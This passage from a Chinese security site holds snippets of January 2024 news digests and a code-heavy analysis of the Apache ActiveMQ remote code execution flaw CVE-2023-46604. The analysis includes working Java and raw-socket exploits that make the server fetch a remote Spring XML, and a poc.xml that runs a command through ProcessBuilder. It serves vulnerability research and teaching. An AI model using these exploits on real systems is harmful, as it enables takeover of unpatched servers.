https://securityaffairs.com/157203/security/entire-population-of-brazil-possibly-exposed-in-massive-data-leak.html 数亿巴西个人的私人数据可供威胁行为者公开访问,使个人面临风险。Cybernews 研究揭示了一个可公开访问的 Elasticsearch 实例,其中包含大量属于巴西个人的私人数据。该集群位于云服务器上,包含全名、出生日期、性别和 Cadastro de Pessoas Físicas (CPF) 号码等数据。这个 11 位数字用于识别巴西的个人纳税人。 9、NoaBot僵尸网络针对 SSH 服务器进行恶意挖矿 https://thehackernews.com/2024/01/noabot-latest-mirai-based-botnet.html 自 2023 年初以来,威胁行为者正在使用一种基于 Mirai 的新型僵尸网络NoaBot作为加密货币挖矿活动的一部分。 10、联合国《打击网络犯罪公约》草案基本完成 https://www.secrss.com/articles/62570 由于各国对网络犯罪的定义和界定都不相同,一直以来联合国都缺乏相关领域的公约,也难以达成一致。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年01月10日
1、攻击者滥用X传播恶意加密货币广告呈现上升趋势 https://www.bleepingcomputer.com/news/security/x-users-fed-up-with-constant-stream-of-malicious-crypto-ads/ 攻击者正在滥用 X 广告来推广导致加密货币流失、虚假空投和其他诈骗的网站。与所有广告平台一样,X(以前称为 Twitter)声称会根据用户的活动展示广告, 从而产生符合用户兴趣的广告。虽然 Elon 此前曾在推特上表示 YouTube 是不间断的诈骗广告,但 X 似乎也有自己的问题,越来越多地展示宣传加密货币诈骗的广告。这些诈骗包括宣传拉高和转储的 Telegram 频道的链接、 2、攻击者针对存在漏洞的Apache RocketMQ服务器发起攻击 https://www.bleepingcomputer.com/news/security/hackers-target-apache-rocketmq-servers-vulnerable-to-rce-attacks/ 安全研究人员每天都会检测到数百个 IP 地址,这些地址扫描或试图利用易受 CVE-2023-33246 和 CVE-2023-37582 远程命令执行缺陷影响的 Apache RocketMQ 服务。这两个漏洞均具有严重严重性评分,并指的是供应商于 2023 年 5 月发布初始补丁后仍然存在的问题。最初,该安全问题被跟踪为 CVE-2023-33246 ,并影响多个组件 3、Web3安全公司CertiK的X账户被盗取并用于散布钓鱼网站 https://www.bleepingcomputer.com/news/security/web3-security-firm-certiks-x-account-hacked-to-push-crypto-drainer/ 区块链安全公司CertiK的Twitter/X帐户被盗取,超过343,000名关注者被重定向到一个推送加密货币钱包盗取程序的恶意网站。加密货币欺诈侦探ZachXBT 随后公开了网络钓鱼攻击的私信屏幕截图,显示攻击者使用一名记者的被黑账户发送网络钓鱼消息,该记者自2020 年以来一直处于休眠状态,拥有超过100万粉丝,攻击者者利用这个被黑的账户联系了 Certik,询 4、攻击者利用YouTube视频传播破解软件以分发Lumma窃取器 https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube 攻击者利用包含与破解软件相关内容的 YouTube 视频来诱骗用户下载名为 Lumma 的信息窃取恶意软件。这些 YouTube 视频通常包含与破解应用程序相关的内容,为用户提供类似的安装指南,并包含通常使用 TinyURL 和 Cuttly 等服务缩短的恶意 URL。这并不是 YouTube 上的盗版软件视频第一次成为窃取恶意软件的有效诱饵。此前曾观察到类似的攻击链会传播窃取程序、剪切程序和加密货币挖矿恶意软件。在此过程中,威胁行为者不仅可以利用受感 5、微软紧急修复了Kerberos、Hyper-V 中的严重漏洞 https://www.securityweek.com/microsoft-ships-urgent-fixes-for-critical-flaws-in-windows-kerberos-hyper-v/ 微软周二补丁日修补了困扰 Windows Kerberos 和 Windows Hyper-V 的关键远程代码执行漏洞。 6、CISA 警告 Apache Superset 严重漏洞被利用 https://www.securityweek.com/cisa-warns-of-apache-superset-vulnerability-exploitation/ CISA 已将一个严重级别的 Apache Superset 缺陷 (CVE-2023-27524) 添加到其已知的可利用漏洞目录中。周二Adobe 修复了 Substance 3D Stager 产品中的六个安全漏洞,并警告 Windows 和 macOS 上的代码执行风险。 7、LockBit 勒索团伙对 Capital Health 进行了网络攻击 https://securityaffairs.com/157170/cyber-crime/lockbit-ransomware-hit-capital-health.html LockBit勒索软件行动声称对 2023 年 11 月袭击 Capital Health 医院网络的网络攻击负责。 8、土耳其黑客在全球范围内攻击MS SQL 服务器 https://thehackernews.com/2024/01/turkish-hackers-exploiting-poorly.html 作为正在进行的出于经济动机以获得初始访问权限的活动的一部分,美国、欧盟和拉丁美洲 (LATAM) 地区的安全性较差的 Microsoft SQL (MS SQL) 服务器成为目标。 9、美国抵押贷款机构 loanDepot 遭遇勒索软件攻击 https://www.freebuf.com/news/389190.html 美国一家抵押贷款机构 loanDepot 遭遇一场严重的勒索软件攻击,最终导致其很多内部数据被威胁攻击者加密了。 10、工信部组织开展网络安全保险服务试点工作 https://www.freebuf.com/news/389176.html 2023年12月21日,工业和信息化部发布《工业和信息化部办公厅关于组织开展网络安全保险服务试点工作的通知》。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Apache ActiveMQ 远程代码执行漏洞分析
漏洞简介 Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞(CNVD-2023-69477  CVE-2023-46604),攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。 影响版本 Apache ActiveMQ 5.18.0 before 5.18.3 Apache ActiveMQ 5.17.0 before 5.17.6 Apache ActiveMQ 5.16.0 before 5.16.7 Apache ActiveMQ before 5.15.16 Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3 Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6 Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7 Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16 ‍ 环境搭建 没有找到合适的 docker 镜像 ,尝试自己进行编写 可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile docker pull islandora/activemq:2.0.7 dfimage islandora/activemq:2.0.7 结合 https://activemq.apache.org/version-5-getting-started Dockerfile FROM ubuntu #ENV DEBIAN_FRONTEND noninteractive RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list RUN apt-get update -y RUN apt-get install wget -y RUN apt install openjdk-11-jre-headless -y COPY apache-activemq-5.18.2-bin.tar.gz / #RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz RUN chmod 755 /apache-activemq-5.18.2/bin/activemq RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh RUN chmod +x start.sh EXPOSE 8161 61616 CMD ["/start.sh"] ## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml docker-compose.yml version: "2.2" services: activemq:   build: .   ports:     - "8161:8161"     - "61616:61616" ./activemq start ./activemq status ./activemq console netstat -tuln | grep 8161 netstat -tuln | grep 61616 ‍ 漏洞分析 下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip 开启调试只需要修改 apache-activemq-5.18.2\bin\activemq https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3 新版本的修复位置是在 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。 寻找调用该方法的位置 org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable 继续向上寻找调用 网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析 org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal 继续向上寻找调用 org.apache.activemq.openwire.OpenWireFormat#doUnmarshal 我们看到此时 dsm 的值是基于传入的 dis.readByte(); <transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/> ActiveMQ中默认的消息协议就是openwire ‍编写一个 ActiveMQ 的通信请求 public static void sendToActiveMQ() throws Exception {        /*         * 创建连接工厂,由 ActiveMQ 实现。构造方法参数         * userName 用户名         * password 密码         * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号         */        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");        //创建连接对象        Connection connection = connectionFactory.createConnection();        //启动连接        connection.start();        /*         * 创建会话,参数含义:         * 1.transacted - 是否使用事务         * 2.acknowledgeMode - 消息确认机制,可选机制为:         * 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息         * 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制         * 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制         */        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        //创建目的地,也就是队列名        Destination destination = session.createQueue("q_test");        //创建消息生成者,该生成者与目的地绑定        MessageProducer mProducer = session.createProducer(destination);        //创建消息        Message message = session.createTextMessage("Hello, ActiveMQ");        //发送消息        mProducer.send(message);        connection.close();   } 前面的调用栈为 doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire) unmarshal:290, OpenWireFormat (org.apache.activemq.openwire) readCommand:240, TcpTransport (org.apache.activemq.transport.tcp) doRun:232, TcpTransport (org.apache.activemq.transport.tcp) run:215, TcpTransport (org.apache.activemq.transport.tcp) run:829, Thread (java.lang) 此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller 花式触发 ExceptionResponseMarshaller 现在我们的目的就是为了去调用 ExceptionResponseMarshaller 寻找触发 ActiveMQ 中的 ExceptionResponse 函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和 函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command 最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse); 来触发 ‍    public static void ExceptionResponseExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ExceptionResponse expetionResponse = new ExceptionResponse();        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        ExploitSession.syncSendPacket(expetionResponse);        //ExploitSession.asyncSendPacket(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);        connection.close();   } 由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码 package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{    public ClassPathXmlApplicationContext(String message) {        super(message);   } } 相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller   public static void ConnectionErrorExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ConnectionError connectionError = new ConnectionError();        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        //ExploitSession.syncSendPacket(connectionError);        //ExploitSession.asyncSendPacket(connectionError);       ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);        connection.close();   }    public static void MessageAckExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection("admin","admin");        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        MessageAck messageAck  = new MessageAck();        messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        ExploitSession.syncSendPacket(messageAck);        //ExploitSession.asyncSendPacket(messageAck);        //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);        connection.close();   } ‍通过数据流进行触发 ExceptionResponseMarshaller ‍主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller        String ip = "127.0.0.1";        int port = 61616;        String pocxml= "http://192.168.184.1:9090/poc.xml";        Socket sck = new Socket(ip, port);        OutputStream os = sck.getOutputStream();        DataOutputStream out = new DataOutputStream(os);        out.writeInt(0); //        out.writeByte(31); //dataType ExceptionResponseMarshaller        out.writeInt(1); //CommandId        out.writeBoolean(true); //ResponseRequired        out.writeInt(1); //CorrelationId        out.writeBoolean(true);        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF(pocxml);        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce        out.close();        os.close();        sck.close(); ‍通过伪造类实现触发 ExceptionResponse ‍我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand 利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal org.apache.activemq.transport.tcp.TcpTransport#oneway 通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类 /**     * A one way asynchronous send     */    @Override    public void oneway(Object command) throws IOException {        checkStarted();        Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");        ExceptionResponse response = new ExceptionResponse(obj);        wireFormat.marshal(response, dataOut);        dataOut.flush();   } 将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码 package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{    public ClassPathXmlApplicationContext(String message) {        super(message);   } } ‍poc.xml <?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>touch</value>                <value>/tmp/1.txt</value>            </list>            </constructor-arg>        </bean>    </beans> ‍漏洞复现 ‍
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页